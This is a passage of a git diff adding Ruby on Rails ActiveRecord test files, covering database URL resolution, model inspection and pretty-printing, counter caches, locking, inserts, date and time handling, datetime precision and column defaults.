+        def test_url_invalid_adapter
+          error = assert_raises(LoadError) do
+            spec "ridiculous://foo?encoding=utf8"
+          end
+
+          assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
+        end
+
+        # The abstract adapter is used simply to bypass the bit of code that
+        # checks that the adapter file can be required in.
+
+        def test_url_from_environment
+          spec = resolve :production, "production" => "abstract://foo?encoding=utf8"
+          assert_equal({
+            "adapter"  =>  "abstract",
+            "host"     =>  "foo",
+            "encoding" => "utf8",
+            "name"     => "production" }, spec)
+        end
+
+        def test_url_sub_key
+          spec = resolve :production, "production" => { "url" => "abstract://foo?encoding=utf8" }
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8",
+            "name"     => "production" }, spec)
+        end
+
+        def test_url_sub_key_merges_correctly
+          hash = { "url" => "abstract://foo?encoding=utf8&", "adapter" => "sqlite3", "host" => "bar", "pool" => "3" }
+          spec = resolve :production, "production" => hash
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8",
+            "pool"     => "3",
+            "name"     => "production" }, spec)
+        end
+
+        def test_url_host_no_db
+          spec = resolve "abstract://foo?encoding=utf8"
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_missing_scheme
+          spec = resolve "foo"
+          assert_equal({
+            "database" => "foo" }, spec)
+        end
+
+        def test_url_host_db
+          spec = resolve "abstract://foo/bar?encoding=utf8"
+          assert_equal({
+            "adapter"  => "abstract",
+            "database" => "bar",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_port
+          spec = resolve "abstract://foo:123?encoding=utf8"
+          assert_equal({
+            "adapter"  => "abstract",
+            "port"     => 123,
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_encoded_password
+          password = "am@z1ng_p@ssw0rd#!"
+          encoded_password = URI.encode_www_form_component(password)
+          spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
+          assert_equal password, spec["password"]
+        end
+
+        def test_url_with_authority_for_sqlite3
+          spec = resolve "sqlite3:///foo_test"
+          assert_equal("/foo_test", spec["database"])
+        end
+
+        def test_url_absolute_path_for_sqlite3
+          spec = resolve "sqlite3:/foo_test"
+          assert_equal("/foo_test", spec["database"])
+        end
+
+        def test_url_relative_path_for_sqlite3
+          spec = resolve "sqlite3:foo_test"
+          assert_equal("foo_test", spec["database"])
+        end
+
+        def test_url_memory_db_for_sqlite3
+          spec = resolve "sqlite3::memory:"
+          assert_equal(":memory:", spec["database"])
+        end
+
+        def test_url_sub_key_for_sqlite3
+          spec = resolve :production, "production" => { "url" => "sqlite3:foo?encoding=utf8" }
+          assert_equal({
+            "adapter"  => "sqlite3",
+            "database" => "foo",
+            "encoding" => "utf8",
+            "name"     => "production" }, spec)
+        end
+
+        def test_spec_name_on_key_lookup
+          spec = spec(:readonly, "readonly" => { "adapter" => "sqlite3" })
+          assert_equal "readonly", spec.name
+        end
+
+        def test_spec_name_with_inline_config
+          spec = spec("adapter" => "sqlite3")
+          assert_equal "primary", spec.name, "should default to primary id"
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/core_test.rb b/activerecord/test/cases/core_test.rb
new file mode 100644
index 0000000000..356afdbd2b
--- /dev/null
+++ b/activerecord/test/cases/core_test.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+require "models/topic"
+require "pp"
+require "active_support/core_ext/string/strip"
+
+class NonExistentTable < ActiveRecord::Base; end
+
+class CoreTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  def test_inspect_class
+    assert_equal "ActiveRecord::Base", ActiveRecord::Base.inspect
+    assert_equal "LoosePerson(abstract)", LoosePerson.inspect
+    assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
+  end
+
+  def test_inspect_instance
+    topic = topics(:first)
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
+  end
+
+  def test_inspect_new_instance
+    assert_match(/Topic id: nil/, Topic.new.inspect)
+  end
+
+  def test_inspect_limited_select_instance
+    assert_equal %(#<Topic id: 1>), Topic.all.merge!(select: "id", where: "id = 1").first.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(select: "id, title", where: "id = 1").first.inspect
+  end
+
+  def test_inspect_class_without_table
+    assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
+  end
+
+  def test_pretty_print_new
+    topic = Topic.new
+    actual = "".dup
+    PP.pp(topic, StringIO.new(actual))
+    expected = <<-PRETTY.strip_heredoc
+    #<Topic:0xXXXXXX
+     id: nil,
+     title: nil,
+     author_name: nil,
+     author_email_address: "test@test.com",
+     written_on: nil,
+     bonus_time: nil,
+     last_read: nil,
+     content: nil,
+     important: nil,
+     approved: true,
+     replies_count: 0,
+     unique_replies_count: 0,
+     parent_id: nil,
+     parent_title: nil,
+     type: nil,
+     group: nil,
+     created_at: nil,
+     updated_at: nil>
+    PRETTY
+    assert actual.start_with?(expected.split("XXXXXX").first)
+    assert actual.end_with?(expected.split("XXXXXX").last)
+  end
+
+  def test_pretty_print_persisted
+    topic = topics(:first)
+    actual = "".dup
+    PP.pp(topic, StringIO.new(actual))
+    expected = <<-PRETTY.strip_heredoc
+    #<Topic:0x\\w+
+     id: 1,
+     title: "The First Topic",
+     author_name: "David",
+     author_email_address: "david@loudthinking.com",
+     written_on: 2003-07-16 14:28:11 UTC,
+     bonus_time: 2000-01-01 14:28:00 UTC,
+     last_read: Thu, 15 Apr 2004,
+     content: "Have a nice day",
+     important: nil,
+     approved: false,
+     replies_count: 1,
+     unique_replies_count: 0,
+     parent_id: nil,
+     parent_title: nil,
+     type: nil,
+     group: nil,
+     created_at: [^,]+,
+     updated_at: [^,>]+>
+    PRETTY
+    assert_match(/\A#{expected}\z/, actual)
+  end
+
+  def test_pretty_print_uninitialized
+    topic = Topic.allocate
+    actual = "".dup
+    PP.pp(topic, StringIO.new(actual))
+    expected = "#<Topic:XXXXXX not initialized>\n"
+    assert actual.start_with?(expected.split("XXXXXX").first)
+    assert actual.end_with?(expected.split("XXXXXX").last)
+  end
+
+  def test_pretty_print_overridden_by_inspect
+    subtopic = Class.new(Topic) do
+      def inspect
+        "inspecting topic"
+      end
+    end
+    actual = "".dup
+    PP.pp(subtopic.new, StringIO.new(actual))
+    assert_equal "inspecting topic\n", actual
+  end
+end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
new file mode 100644
index 0000000000..e0948f90ac
--- /dev/null
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -0,0 +1,367 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/car"
+require "models/aircraft"
+require "models/wheel"
+require "models/engine"
+require "models/reply"
+require "models/category"
+require "models/categorization"
+require "models/dog"
+require "models/dog_lover"
+require "models/person"
+require "models/friendship"
+require "models/subscriber"
+require "models/subscription"
+require "models/book"
+
+class CounterCacheTest < ActiveRecord::TestCase
+  fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships, :subscribers, :subscriptions, :books
+
+  class ::SpecialTopic < ::Topic
+    has_many :special_replies, foreign_key: "parent_id"
+    has_many :lightweight_special_replies, -> { select("topics.id, topics.title") }, foreign_key: "parent_id", class_name: "SpecialReply"
+  end
+
+  class ::SpecialReply < ::Reply
+    belongs_to :special_topic, foreign_key: "parent_id", counter_cache: "replies_count"
+  end
+
+  setup do
+    @topic = Topic.find(1)
+  end
+
+  test "increment counter" do
+    assert_difference "@topic.reload.replies_count" do
+      Topic.increment_counter(:replies_count, @topic.id)
+    end
+  end
+
+  test "decrement counter" do
+    assert_difference "@topic.reload.replies_count", -1 do
+      Topic.decrement_counter(:replies_count, @topic.id)
+    end
+  end
+
+  test "reset counters" do
+    # throw the count off by 1
+    Topic.increment_counter(:replies_count, @topic.id)
+
+    # check that it gets reset
+    assert_difference "@topic.reload.replies_count", -1 do
+      Topic.reset_counters(@topic.id, :replies)
+    end
+  end
+
+  test "reset counters by counter name" do
+    # throw the count off by 1
+    Topic.increment_counter(:replies_count, @topic.id)
+
+    # check that it gets reset
+    assert_difference "@topic.reload.replies_count", -1 do
+      Topic.reset_counters(@topic.id, :replies_count)
+    end
+  end
+
+  test "reset multiple counters" do
+    Topic.update_counters @topic.id, replies_count: 1, unique_replies_count: 1
+    assert_difference ["@topic.reload.replies_count", "@topic.reload.unique_replies_count"], -1 do
+      Topic.reset_counters(@topic.id, :replies, :unique_replies)
+    end
+  end
+
+  test "reset counters with string argument" do
+    Topic.increment_counter("replies_count", @topic.id)
+
+    assert_difference "@topic.reload.replies_count", -1 do
+      Topic.reset_counters(@topic.id, "replies")
+    end
+  end
+
+  test "reset counters with modularized and camelized classnames" do
+    special = SpecialTopic.create!(title: "Special")
+    SpecialTopic.increment_counter(:replies_count, special.id)
+
+    assert_difference "special.reload.replies_count", -1 do
+      SpecialTopic.reset_counters(special.id, :special_replies)
+    end
+  end
+
+  test "reset counter with belongs_to which has class_name" do
+    car = cars(:honda)
+    assert_nothing_raised do
+      Car.reset_counters(car.id, :engines)
+    end
+    assert_nothing_raised do
+      Car.reset_counters(car.id, :wheels)
+    end
+  end
+
+  test "reset the right counter if two have the same class_name" do
+    david = dog_lovers(:david)
+
+    DogLover.increment_counter(:bred_dogs_count, david.id)
+    DogLover.increment_counter(:trained_dogs_count, david.id)
+
+    assert_difference "david.reload.bred_dogs_count", -1 do
+      DogLover.reset_counters(david.id, :bred_dogs)
+    end
+    assert_difference "david.reload.trained_dogs_count", -1 do
+      DogLover.reset_counters(david.id, :trained_dogs)
+    end
+  end
+
+  test "update counter with initial null value" do
+    category = categories(:general)
+    assert_equal 2, category.categorizations.count
+    assert_nil category.categorizations_count
+
+    Category.update_counters(category.id, categorizations_count: category.categorizations.count)
+    assert_equal 2, category.reload.categorizations_count
+  end
+
+  test "update counter for decrement" do
+    assert_difference "@topic.reload.replies_count", -3 do
+      Topic.update_counters(@topic.id, replies_count: -3)
+    end
+  end
+
+  test "update counters of multiple records" do
+    t1, t2 = topics(:first, :second)
+
+    assert_difference ["t1.reload.replies_count", "t2.reload.replies_count"], 2 do
+      Topic.update_counters([t1.id, t2.id], replies_count: 2)
+    end
+  end
+
+  test "update multiple counters" do
+    assert_difference ["@topic.reload.replies_count", "@topic.reload.unique_replies_count"], 2 do
+      Topic.update_counters @topic.id, replies_count: 2, unique_replies_count: 2
+    end
+  end
+
+  test "update other counters on parent destroy" do
+    david, joanna = dog_lovers(:david, :joanna)
+    joanna = joanna # squelch a warning
+
+    assert_difference "joanna.reload.dogs_count", -1 do
+      david.destroy
+    end
+  end
+
+  test "reset the right counter if two have the same foreign key" do
+    michael = people(:michael)
+    assert_nothing_raised do
+      Person.reset_counters(michael.id, :friends_too)
+    end
+  end
+
+  test "reset counter of has_many :through association" do
+    subscriber = subscribers("second")
+    Subscriber.reset_counters(subscriber.id, "books")
+    Subscriber.increment_counter("books_count", subscriber.id)
+
+    assert_difference "subscriber.reload.books_count", -1 do
+      Subscriber.reset_counters(subscriber.id, "books")
+    end
+  end
+
+  test "the passed symbol needs to be an association name or counter name" do
+    e = assert_raises(ArgumentError) do
+      Topic.reset_counters(@topic.id, :undefined_count)
+    end
+    assert_equal "'Topic' has no association called 'undefined_count'", e.message
+  end
+
+  test "reset counter works with select declared on association" do
+    special = SpecialTopic.create!(title: "Special")
+    SpecialTopic.increment_counter(:replies_count, special.id)
+
+    assert_difference "special.reload.replies_count", -1 do
+      SpecialTopic.reset_counters(special.id, :lightweight_special_replies)
+    end
+  end
+
+  test "counters are updated both in memory and in the database on create" do
+    car = Car.new(engines_count: 0)
+    car.engines = [Engine.new, Engine.new]
+    car.save!
+
+    assert_equal 2, car.engines_count
+    assert_equal 2, car.reload.engines_count
+  end
+
+  test "counter caches are updated in memory when the default value is nil" do
+    car = Car.new(engines_count: nil)
+    car.engines = [Engine.new, Engine.new]
+    car.save!
+
+    assert_equal 2, car.engines_count
+    assert_equal 2, car.reload.engines_count
+  end
+
+  test "update counters in a polymorphic relationship" do
+    aircraft = Aircraft.create!
+
+    assert_difference "aircraft.reload.wheels_count" do
+      aircraft.wheels << Wheel.create!
+    end
+
+    assert_difference "aircraft.reload.wheels_count", -1 do
+      aircraft.wheels.first.destroy
+    end
+  end
+
+  test "update counters doesn't touch timestamps by default" do
+    @topic.update_column :updated_at, 5.minutes.ago
+    previously_updated_at = @topic.updated_at
+
+    Topic.update_counters(@topic.id, replies_count: -1)
+
+    assert_equal previously_updated_at, @topic.updated_at
+  end
+
+  test "update counters doesn't touch timestamps with touch: []" do
+    @topic.update_column :updated_at, 5.minutes.ago
+    previously_updated_at = @topic.updated_at
+
+    Topic.update_counters(@topic.id, replies_count: -1, touch: [])
+
+    assert_equal previously_updated_at, @topic.updated_at
+  end
+
+  test "update counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.update_counters(@topic.id, replies_count: -1, touch: true)
+    end
+  end
+
+  test "update counters of multiple records with touch: true" do
+    t1, t2 = topics(:first, :second)
+
+    assert_touching t1, :updated_at do
+      assert_difference ["t1.reload.replies_count", "t2.reload.replies_count"], 2 do
+        Topic.update_counters([t1.id, t2.id], replies_count: 2, touch: true)
+      end
+    end
+  end
+
+  test "update multiple counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.update_counters(@topic.id, replies_count: 2, unique_replies_count: 2, touch: true)
+    end
+  end
+
+  test "reset counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.reset_counters(@topic.id, :replies, touch: true)
+    end
+  end
+
+  test "reset multiple counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.update_counters(@topic.id, replies_count: 1, unique_replies_count: 1)
+      Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: true)
+    end
+  end
+
+  test "increment counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.increment_counter(:replies_count, @topic.id, touch: true)
+    end
+  end
+
+  test "decrement counters with touch: true" do
+    assert_touching @topic, :updated_at do
+      Topic.decrement_counter(:replies_count, @topic.id, touch: true)
+    end
+  end
+
+  test "update counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.update_counters(@topic.id, replies_count: -1, touch: :written_on)
+    end
+  end
+
+  test "update multiple counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.update_counters(@topic.id, replies_count: 2, unique_replies_count: 2, touch: :written_on)
+    end
+  end
+
+  test "reset counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.reset_counters(@topic.id, :replies, touch: :written_on)
+    end
+  end
+
+  test "reset multiple counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.update_counters(@topic.id, replies_count: 1, unique_replies_count: 1)
+      Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: :written_on)
+    end
+  end
+
+  test "increment counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.increment_counter(:replies_count, @topic.id, touch: :written_on)
+    end
+  end
+
+  test "decrement counters with touch: :written_on" do
+    assert_touching @topic, :written_on do
+      Topic.decrement_counter(:replies_count, @topic.id, touch: :written_on)
+    end
+  end
+
+  test "update counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.update_counters(@topic.id, replies_count: -1, touch: %i( updated_at written_on ))
+    end
+  end
+
+  test "update multiple counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.update_counters(@topic.id, replies_count: 2, unique_replies_count: 2, touch: %i( updated_at written_on ))
+    end
+  end
+
+  test "reset counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.reset_counters(@topic.id, :replies, touch: %i( updated_at written_on ))
+    end
+  end
+
+  test "reset multiple counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.update_counters(@topic.id, replies_count: 1, unique_replies_count: 1)
+      Topic.reset_counters(@topic.id, :replies, :unique_replies, touch: %i( updated_at written_on ))
+    end
+  end
+
+  test "increment counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.increment_counter(:replies_count, @topic.id, touch: %i( updated_at written_on ))
+    end
+  end
+
+  test "decrement counters with touch: %i( updated_at written_on )" do
+    assert_touching @topic, :updated_at, :written_on do
+      Topic.decrement_counter(:replies_count, @topic.id, touch: %i( updated_at written_on ))
+    end
+  end
+
+  private
+    def assert_touching(record, *attributes)
+      record.update_columns attributes.map { |attr| [ attr, 5.minutes.ago ] }.to_h
+      touch_times = attributes.map { |attr| [ attr, record.public_send(attr) ] }.to_h
+
+      yield
+
+      touch_times.each do |attr, previous_touch_time|
+        assert_operator previous_touch_time, :<, record.reload.public_send(attr)
+      end
+    end
+end
diff --git a/activerecord/test/cases/custom_locking_test.rb b/activerecord/test/cases/custom_locking_test.rb
new file mode 100644
index 0000000000..f52b26e9ec
--- /dev/null
+++ b/activerecord/test/cases/custom_locking_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+module ActiveRecord
+  class CustomLockingTest < ActiveRecord::TestCase
+    fixtures :people
+
+    def test_custom_lock
+      if current_adapter?(:Mysql2Adapter)
+        assert_match "SHARE MODE", Person.lock("LOCK IN SHARE MODE").to_sql
+        assert_sql(/LOCK IN SHARE MODE/) do
+          Person.all.merge!(lock: "LOCK IN SHARE MODE").find(1)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/database_statements_test.rb b/activerecord/test/cases/database_statements_test.rb
new file mode 100644
index 0000000000..1c934602ec
--- /dev/null
+++ b/activerecord/test/cases/database_statements_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class DatabaseStatementsTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  unless current_adapter?(:OracleAdapter)
+    def test_exec_insert
+      result = @connection.exec_insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)", nil, [])
+      assert_not_nil @connection.send(:last_inserted_id, result)
+    end
+  end
+
+  def test_insert_should_return_the_inserted_id
+    assert_not_nil return_the_inserted_id(method: :insert)
+  end
+
+  def test_create_should_return_the_inserted_id
+    assert_not_nil return_the_inserted_id(method: :create)
+  end
+
+  private
+
+    def return_the_inserted_id(method:)
+      # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+      if current_adapter?(:OracleAdapter)
+        sequence_name = "accounts_seq"
+        id_value = @connection.next_sequence_value(sequence_name)
+        @connection.send(method, "INSERT INTO accounts (id, firm_id,credit_limit) VALUES (accounts_seq.nextval,42,5000)", nil, :id, id_value, sequence_name)
+      else
+        @connection.send(method, "INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
+      end
+    end
+end
diff --git a/activerecord/test/cases/date_test.rb b/activerecord/test/cases/date_test.rb
new file mode 100644
index 0000000000..9f412cdb63
--- /dev/null
+++ b/activerecord/test/cases/date_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class DateTest < ActiveRecord::TestCase
+  def test_date_with_time_value
+    time_value = Time.new(2016, 05, 11, 19, 0, 0)
+    topic = Topic.create(last_read: time_value)
+    assert_equal topic, Topic.find_by(last_read: time_value)
+  end
+
+  def test_date_with_string_value
+    string_value = "2016-05-11 19:00:00"
+    topic = Topic.create(last_read: string_value)
+    assert_equal topic, Topic.find_by(last_read: string_value)
+  end
+
+  def test_assign_valid_dates
+    valid_dates = [[2007, 11, 30], [1993, 2, 28], [2008, 2, 29]]
+
+    invalid_dates = [[2007, 11, 31], [1993, 2, 29], [2007, 2, 29]]
+
+    valid_dates.each do |date_src|
+      topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
+      # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
+      if current_adapter?(:OracleAdapter)
+        assert_equal(topic.last_read.to_date, Date.new(*date_src))
+      else
+        assert_equal(topic.last_read, Date.new(*date_src))
+      end
+    end
+
+    invalid_dates.each do |date_src|
+      assert_nothing_raised do
+        topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
+        # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
+        if current_adapter?(:OracleAdapter)
+          assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
+        else
+          assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/date_time_precision_test.rb b/activerecord/test/cases/date_time_precision_test.rb
new file mode 100644
index 0000000000..51f6164138
--- /dev/null
+++ b/activerecord/test/cases/date_time_precision_test.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if subsecond_precision_supported?
+  class DateTimePrecisionTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+    self.use_transactional_tests = false
+
+    class Foo < ActiveRecord::Base; end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      Foo.reset_column_information
+    end
+
+    teardown do
+      @connection.drop_table :foos, if_exists: true
+    end
+
+    def test_datetime_data_type_with_precision
+      @connection.create_table(:foos, force: true)
+      @connection.add_column :foos, :created_at, :datetime, precision: 0
+      @connection.add_column :foos, :updated_at, :datetime, precision: 5
+      assert_equal 0, Foo.columns_hash["created_at"].precision
+      assert_equal 5, Foo.columns_hash["updated_at"].precision
+    end
+
+    def test_timestamps_helper_with_custom_precision
+      @connection.create_table(:foos, force: true) do |t|
+        t.timestamps precision: 4
+      end
+      assert_equal 4, Foo.columns_hash["created_at"].precision
+      assert_equal 4, Foo.columns_hash["updated_at"].precision
+    end
+
+    def test_passing_precision_to_datetime_does_not_set_limit
+      @connection.create_table(:foos, force: true) do |t|
+        t.timestamps precision: 4
+      end
+      assert_nil Foo.columns_hash["created_at"].limit
+      assert_nil Foo.columns_hash["updated_at"].limit
+    end
+
+    def test_invalid_datetime_precision_raises_error
+      assert_raises ActiveRecord::ActiveRecordError do
+        @connection.create_table(:foos, force: true) do |t|
+          t.timestamps precision: 7
+        end
+      end
+    end
+
+    def test_formatting_datetime_according_to_precision
+      @connection.create_table(:foos, force: true) do |t|
+        t.datetime :created_at, precision: 0
+        t.datetime :updated_at, precision: 4
+      end
+      date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+      Foo.create!(created_at: date, updated_at: date)
+      assert foo = Foo.find_by(created_at: date)
+      assert_equal 1, Foo.where(updated_at: date).count
+      assert_equal date.to_s, foo.created_at.to_s
+      assert_equal date.to_s, foo.updated_at.to_s
+      assert_equal 000000, foo.created_at.usec
+      assert_equal 999900, foo.updated_at.usec
+    end
+
+    def test_schema_dump_includes_datetime_precision
+      @connection.create_table(:foos, force: true) do |t|
+        t.timestamps precision: 6
+      end
+      output = dump_table_schema("foos")
+      assert_match %r{t\.datetime\s+"created_at",\s+precision: 6,\s+null: false$}, output
+      assert_match %r{t\.datetime\s+"updated_at",\s+precision: 6,\s+null: false$}, output
+    end
+
+    if current_adapter?(:PostgreSQLAdapter, :SQLServerAdapter)
+      def test_datetime_precision_with_zero_should_be_dumped
+        @connection.create_table(:foos, force: true) do |t|
+          t.timestamps precision: 0
+        end
+        output = dump_table_schema("foos")
+        assert_match %r{t\.datetime\s+"created_at",\s+precision: 0,\s+null: false$}, output
+        assert_match %r{t\.datetime\s+"updated_at",\s+precision: 0,\s+null: false$}, output
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
new file mode 100644
index 0000000000..b5f35aff0e
--- /dev/null
+++ b/activerecord/test/cases/date_time_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/task"
+
+class DateTimeTest < ActiveRecord::TestCase
+  include InTimeZone
+
+  def test_saves_both_date_and_time
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :utc do
+        time_values = [1807, 2, 10, 15, 30, 45]
+        # create DateTime value with local time zone offset
+        local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
+        now = DateTime.civil(*(time_values + [local_offset]))
+
+        task = Task.new
+        task.starting = now
+        task.save!
+
+        # check against Time.local, since some platforms will return a Time instead of a DateTime
+        assert_equal Time.local(*time_values), Task.find(task.id).starting
+      end
+    end
+  end
+
+  def test_assign_empty_date_time
+    task = Task.new
+    task.starting = ""
+    task.ending = nil
+    assert_nil task.starting
+    assert_nil task.ending
+  end
+
+  def test_assign_bad_date_time_with_timezone
+    in_time_zone "Pacific Time (US & Canada)" do
+      task = Task.new
+      task.starting = "2014-07-01T24:59:59GMT"
+      assert_nil task.starting
+    end
+  end
+
+  def test_assign_empty_date
+    topic = Topic.new
+    topic.last_read = ""
+    assert_nil topic.last_read
+  end
+
+  def test_assign_empty_time
+    topic = Topic.new
+    topic.bonus_time = ""
+    assert_nil topic.bonus_time
+  end
+
+  def test_assign_in_local_timezone
+    now = DateTime.civil(2017, 3, 1, 12, 0, 0)
+    with_timezone_config default: :local do
+      task = Task.new starting: now
+      assert_equal now, task.starting
+    end
+  end
+
+  def test_date_time_with_string_value_with_subsecond_precision
+    skip unless subsecond_precision_supported?
+    string_value = "2017-07-04 14:19:00.5"
+    topic = Topic.create(written_on: string_value)
+    assert_equal topic, Topic.find_by(written_on: string_value)
+  end
+
+  def test_date_time_with_string_value_with_non_iso_format
+    string_value = "04/07/2017 2:19pm"
+    topic = Topic.create(written_on: string_value)
+    assert_equal topic, Topic.find_by(written_on: string_value)
+  end
+end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
new file mode 100644
index 0000000000..4690682cd8
--- /dev/null
+++ b/activerecord/test/cases/defaults_test.rb
@@ -0,0 +1,209 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+require "models/default"
+require "models/entrant"
+
+class DefaultTest < ActiveRecord::TestCase
+  def test_nil_defaults_for_not_null_columns
+    %w(id name course_id).each do |name|
+      column = Entrant.columns_hash[name]
+      assert !column.null, "#{name} column should be NOT NULL"
+      assert_not column.default, "#{name} column should be DEFAULT 'nil'"
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_multiline_default_text
+      record = Default.new
+      # older postgres versions represent the default with escapes ("\\012" for a newline)
+      assert("--- []\n\n" == record.multiline_default || "--- []\\012\\012" == record.multiline_default)
+    end
+  end
+end
+
+class DefaultNumbersTest < ActiveRecord::TestCase
+  class DefaultNumber < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :default_numbers do |t|
+      t.integer :positive_integer, default: 7
+      t.integer :negative_integer, default: -5
+      t.decimal :decimal_number, default: "2.78", precision: 5, scale: 2
+    end
+  end
+
+  teardown do
+    @connection.drop_table :default_numbers, if_exists: true
+  end
+
+  def test_default_positive_integer
+    record = DefaultNumber.new
+    assert_equal 7, record.positive_integer
+    assert_equal "7", record.positive_integer_before_type_cast
+  end
+
+  def test_default_negative_integer
+    record = DefaultNumber.new
+    assert_equal (-5), record.negative_integer
+    assert_equal "-5", record.negative_integer_before_type_cast
+  end
+
+  def test_default_decimal_number
+    record = DefaultNumber.new
+    assert_equal BigDecimal.new("2.78"), record.decimal_number
+    assert_equal "2.78", record.decimal_number_before_type_cast
+  end
+end
+
+class DefaultStringsTest < ActiveRecord::TestCase
+  class DefaultString < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :default_strings do |t|
+      t.string :string_col, default: "Smith"
+      t.string :string_col_with_quotes, default: "O'Connor"
+    end
+    DefaultString.reset_column_information
+  end
+
+  def test_default_strings
+    assert_equal "Smith", DefaultString.new.string_col
+  end
+
+  def test_default_strings_containing_single_quotes
+    assert_equal "O'Connor", DefaultString.new.string_col_with_quotes
+  end
+
+  teardown do
+    @connection.drop_table :default_strings
+  end
+end
+
+if current_adapter?(:PostgreSQLAdapter)
+  class PostgresqlDefaultExpressionTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+
+    test "schema dump includes default expression" do
+      output = dump_table_schema("defaults")
+      if ActiveRecord::Base.connection.postgresql_version >= 100000
+        assert_match %r/t\.date\s+"modified_date",\s+default: -> { "CURRENT_DATE" }/, output
+        assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      else
+        assert_match %r/t\.date\s+"modified_date",\s+default: -> { "\('now'::text\)::date" }/, output
+        assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "now\(\)" }/, output
+      end
+      assert_match %r/t\.date\s+"modified_date_function",\s+default: -> { "now\(\)" }/, output
+      assert_match %r/t\.datetime\s+"modified_time_function",\s+default: -> { "now\(\)" }/, output
+    end
+  end
+end
+
+if current_adapter?(:Mysql2Adapter)
